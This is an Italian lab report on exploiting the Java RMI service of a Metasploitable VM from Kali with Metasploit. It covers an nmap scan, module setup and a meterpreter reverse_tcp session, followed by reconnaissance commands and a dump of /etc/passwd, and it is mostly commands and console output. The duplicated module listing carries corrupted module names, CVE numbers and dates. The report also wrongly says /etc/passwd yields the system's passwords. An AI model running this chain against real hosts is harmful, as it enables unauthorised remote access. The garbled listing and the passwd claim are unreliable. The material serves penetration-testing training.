

SESSIONE METERPRETER SU METASPLOITABLE – M4

INDICE

- MACCHINE VIRTUALI
- SCANSIONE NMAP
- AVVIO E CONFIGURAZIONE METASPLOIT
- EXPLOIT
- METERPRETER
- RACCOLTA INFORMAZIONI SU MACCHINA TARGET
- CONCLUSIONI

MACCHINE VIRTUALI

Le macchine virtuali che utilizzeremo oggi sono Kali Linux (attaccante) e Metasploitable (target).

Prima di tutto dobbiamo modificare gli indirizzi IP con il seguente comando da terminale:

sudo nano /etc/network/interfaces

I nuovi indirizzi IP devono essere 192.168.11.111 per Kali e 192.168.11.112 per Metasploitable come indicato dalla consegna dell'esercizio.

Controlliamo che le macchine comunichino tra di loro con un semplice Ping ai rispettivi indirizzi IP sapendo che entrambe hanno la scheda di rete in Bridge.

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fe21:b1d0 prefixlen 64 scopeid 0x20<link>
    inet6 fd00::a00:27ff:fe21:b1d0 prefixlen 64 scopeid 0x0<global>
    ether 08:00:27:21:b1:d0 txqueuelen 1000 (Ethernet)
    RX packets 347 bytes 23651 (23.0 KiB)
    RX errors 0 dropped 314 overruns 0 frame 0
    TX packets 16 bytes 3039 (2.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

ifconfig che fa vedere indirizzo IP Kali

```
collisions:0 txqueuelen:0
RX bytes:19301 (18.8 KB) TX bytes:19301 (18.8 KB)

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:f9:69:c2
          inet addr:192.168.11.112 Bcast:192.168.255.255 Mask:255.255.255.0
          inet6 addr: fd00::a00:27ff:fef9:69c2/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fef9:69c2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:623 errors:0 dropped:0 overruns:0 frame:0
          TX packets:48 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:41580 (40.6 KB) TX bytes:6677 (6.5 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:113 errors:0 dropped:0 overruns:0 frame:0
          TX packets:113 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:29705 (29.0 KB) TX bytes:29705 (29.0 KB)

msfadmin@metasploitable:~$
```

ifconfig che fa vedere indirizzo IP Metasploitable

SCANSIONE NMAP

Sappiamo, grazie alla traccia dell'esercizio, che sulla porta 1099 della VM Metasploitable è presente un servizio vulnerabile (Java RMI) attivo in ascolto, ma visto che, teoricamente, non dovremmo saperlo avviando una scansione con nmap per vedere quali servizi sono attivi in ascolto.

```
(kali@kali)-[~]
$ sudo nmap -sV -p 1-1200 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-12 13:48 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00038s latency).
Not shown: 1188 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
21/tcp    open  ftp              vsftpd 2.3.4
22/tcp    open  ssh              OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet           Linux telnetd
25/tcp    open  smtp             Postfix smtpd
53/tcp    open  domain          ISC BIND 9.4.2
80/tcp    open  http             Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind          2 (RPC #100000)
139/tcp   open  netbios-ssn     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login
514/tcp   open  shell            Netkit rshd
1099/tcp  open  java-rmi         GNU Classpath grmiregistry
MAC Address: 08:00:27:F9:69:C2 (Oracle VirtualBox virtual NIC)
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.76 seconds

(kali@kali)-[~]
$
```

Dall'immagine soprastante possiamo vedere le porte che accettano connessioni e i servizi, a noi interessa la porta 1099 che ha una vulnerabilità che ci permetterebbe, tramite una sessione di Meterpreter, eventualmente di scrivere codice arbitrario con privilegi elevati.

AVVIO E CONFIGURAZIONE METASPLOIT

Avviamo Metasploit su Kali Linux da terminale con il comando *msfconsole*.

```
msfconsense
Metasploit tip: View a module's description using info, or the enhanced version in your browser with info -d
```

```
[XXXXXXXXXXXXXXXXXXXXX $g, |XXXXXXXXXXXXXXXXXXXXX]
[XXXXXXXXXXXXXXXXXXXXX $S 7a, |XXXXXXXXXXXXXXXXXXXXX]
- - - - - | - - - - - |
[% | - - - - - | - - - - - |]
[% | - - - - - | - - - - - |]
[XXXXXXXXXXXXXXXXXXXXX |XXXXXXXXXXXXXXXXXXXXX]
[XXXXXXXXXXXXXXXXXXXXX |XXXXXXXXXXXXXXXXXXXXX]
[XX% XXXXXXXXXXXXXXXXXX |XXXXXXXXXXXXXXXXXXXXX]
[XX% XXXXXXXXXXXXXXXXXX |XXXXXXXXXXXXXXXXXXXXX]
```

```
+=[ metasploit v6.3.43-dev ]
+- --[ 2376 exploits - 1232 auxiliary - 416 post ]
+- --[ 1388 payloads - 46 encoders - 11 nops ]
+- --[ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > search java rmi
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	No	Java JMX Server Insecure Configuration Java Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIClientImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-10	excellent	No	Java Signed Applet Social Engineering Code Execution
8	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
9	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI RMI Java Deserialization Vulnerability
10	exploit/linux/http/kibana_timelion_prototype_pollution_rce	2019-10-30	manual	Yes	Kibana Timelion Prototype Pollution RCE
11	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
12	exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
13	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
14	exploit/linux/http/totalsjs_cms_widget_exec	2019-09-30	excellent	Yes	TotalsJS CMS 12 Widget JavaScript Code Injection
15	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScalePriv Priv Esc

Interact with a module by name or index. For example info 15, use 15 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc

```
msf6 > use 4
```

Dopo aver avviato Metasploit comparirà la sua interfaccia (immagine sopra) da cui cercheremo con il comando *search* seguito da *java RMI* per cercare moduli di exploit con la parola chiave che ci interessa e i risultati che compaiono sono i seguenti:

```
msf5 > search java rmi
```

```
Matching Modules
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_sdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd sdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gatherer/java_rmi_registry	2013-05-22	normal	No	Java RMI Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2018-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
8	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
9	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI RCE Java Deserialization Vulnerability
10	exploit/linux/http/hibana_timeline_prototype_pollution_rce	2019-10-30	manual	Yes	Hibana Timeline Prototype Pollution RCE
11	exploit/multi/browser/firefox_xp_bootstraped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
12	exploit/multi/http/openssl_auth_bypass_rce_cve_2023_12315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
13	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
14	exploit/multi/http/totaljs cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget JavaScript Code Injection
15	exploit/linux/local/vcenter/java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScale Java Wrapper Priv Esc

Interact with a module by name or index. For example info 15, use 15 or use exploit/linux/local/vcenter/java_wrapper_vmon_priv_esc

Dopo aver velocemente analizzato la lista dei risultati, riteniamo il modulo numero 4 (`exploit/multi/misc/java_rmi_server`) il più adatto per la vulnerabilità da noi precedentemente individuata sulla porta 1099 e quindi la selezioniamo con il comando `use 4`.

Ora controlliamo le opzioni con il comando *show options* per assicurarci che siano a posto e che tutte le configurazioni che hanno “yes” in required siano impostate.

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) >
```

Possiamo notare che RHOSTS non è configurato e quindi lo configuriamo noi con il comando `set RHOST` seguito dall'indirizzo IP della macchina target.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
```

Il payload è stato configurato automaticamente di default quindi controlliamo per sicurezza un'ultima volta che tutte le configurazioni siano corrette con *show options* prima di avviare l'exploit.

EXPLOIT

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/VnA2kUzagnipU14
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:55846) at 2024-06-12 14:07:28 -0400

meterpreter >
```

Eseguiamo il comando *exploit* cercando di ottenere un accesso non autorizzato alla macchina vittima.

METERPRETER

Avendo eseguito con successo l'exploit, sfruttando la vulnerabilità Java RMI, adesso abbiamo ottenuto una sessione Meterpreter su Metasploitable che ci consente di eseguire vari comandi e azioni come quelli che vedremo qua sotto.

RACCOLTA INFORMAZIONI SU MACCHINA TARGET

Possiamo ottenere i dettagli sulla configurazione di rete della macchina con il comando *ifconfig* che ci restituirà le informazioni della macchina target, non della macchina in cui viene usato.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/VnA2kUzagnipU14
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:55846) at 2024-06-12 14:07:28 -0400

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd00::a00:27ff:fe9:69c2
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe9:69c2
IPv6 Netmask : ::

meterpreter > 
```

Possiamo anche ottenere informazioni sulla tabella di routing della macchina target, utili per comprendere il percorso del traffico di rete della VM. Usiamo il comando *route* .

```
meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::
fd00::a00:27ff:fe9:69c2 ::           ::
fe80::a00:27ff:fe9:69c2 ::           ::

meterpreter > 
```

Usando il comando *sysinfo* possiamo ottenere informazioni di sistema come nome, sistema operativo, architettura e lingua di sistema.

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > █
```

Grazie a questa sessione Meterpreter possiamo anche estrarre le password presenti nel sistema con il seguente comando:

cat /etc/passwd

```
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
meterpreter > █
```

CONCLUSIONI

Concludo questa relazione sottolineando la potenza di tool come Meterpreter che da una semplice vulnerabilità causata da una porta aperta in ascolto può avere un accesso di così alto livello potendo eseguire molte azioni sulla macchina target, azioni che un malintenzionato potrebbe eseguire per i suoi scopi o per i motivi più disparati.